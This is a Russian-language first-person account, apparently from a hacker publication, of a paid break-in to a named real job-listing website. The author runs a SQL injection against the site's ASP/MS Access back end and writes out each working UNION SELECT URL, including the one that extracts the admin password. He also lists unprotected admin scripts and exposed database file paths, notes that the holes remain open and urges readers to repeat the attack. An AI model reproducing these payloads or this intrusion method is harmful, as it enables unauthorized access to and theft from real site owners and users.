Сидя на больничном и играя в Героев V, я потихоньку обретал физическое и душевное здоровье после изнурительного гриппа. К полуночи, пройдя очередную миссию, я выключил игру и стал просматривать новые топики на модерируемом мною форумном разделе «о цветах и бабочках» на одном из кардерских форумов. В этот момент стукнулся ко мне чел, которому надо было срочно получить доступ к сайту www.psgi.net. Глянув на сайт, который практически весь состоял из статичного html, я хотел было уже отказаться от его предложения, но на всякий случай решил пробить все страницы сайта через поиск google.com - site: www.psgi.net.
Гугл вывалил полтора десятка страниц, из которых первые все ссылались на html-страницы. И только в конце я увидел несколько ссылок на asp-скрипты, которым передавались параметры:
http://www.psgi.net/careerdetail.asp?ID=1519
вбив кавычку, я получил ответ:
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'ID = 1403''.
/careerdetail.asp, line 8
Это был MSAccess, но разве это могло меня остановить? Тем более, что MSAccess тоже подвержен инжекту, вот только синтаксис запросов немного отличается от SQL - отсутствует комментарий в конце запроса.
После выяснения количества строк:
http://www.psgi.net/careerdetail.asp?ID=1519+order+by+8
мне предстояло самое трудное - подобрать название таблицы, ведь без нее в инжекте MSAccess даже невозможно будет обнаружить вывод полей. Т.е. запрос должен быть примерно таким:
http://www.psgi.net/careerdetail.asp?ID=1519+union+select+ 1,2,3,4,5,6,7,8+from+[имя реально существующей таблицы]
Помучив немного базу я нашел название таблицы:
http://www.psgi.net/careerdetail.asp?ID=1403+union+select+1,2,3,4,5,6,7,8+from+tb_Admin
И еще через некоторое время вытянул из нее логин и пароль админа:
http://www.psgi.net/careerdetail.asp?ID=1403+union +select+1,Password,3,UserID,5,6,7,8+from+tb_Admin
Какая сволочь решила назвать колонку с логином админа UserID? Где логика? Где «круги Эллера», которыми мне загадили мозг на занятиях по логике в институте? Но именно в такие моменты, когда законы логики вкупе с малопонятными «кругами» перестают действовать, включается интуиция и она меня на этот раз не подвела.
Найдя и зайдя в админку:
http://psgi.net/Login.asp
я уже был готов скинуть логин и пароль админа знакомому в обмен на гонорар, но тут обнаружил, что для редактирования данных о вакансиях по трудоустройству (собственно знакомому и нужна была возможность их редактирования) даже не нужно знать логина и пароля админа. Достаточно было только названия скриптов:
http://psgi.net/AdminViewJobs.asp
http://psgi.net/editjob.asp
Велик и могуч поток программерской мысли, не дай бог накроет... Ну и напоследок, еще немного поковыряв сайт, я нашел и сами Access’ные базы:
http://psgi.net/databases/joblisting.mdb
http://psgi.net/databases/ProTech.mdb
Скинув все заказчику я отправился спать.
И вот по прошествию некоторого времени, с разрешения заказчика взлома, я написал эту статью. Информация для заказчика перестала быть актуальной, зато баги на сайте как были, так и остались без изменений. Так что в качестве самообразования можешь повторить мои действия, может тогда и поймешь как я нашел названия баз в закрытой для просмотра директории databases ;-).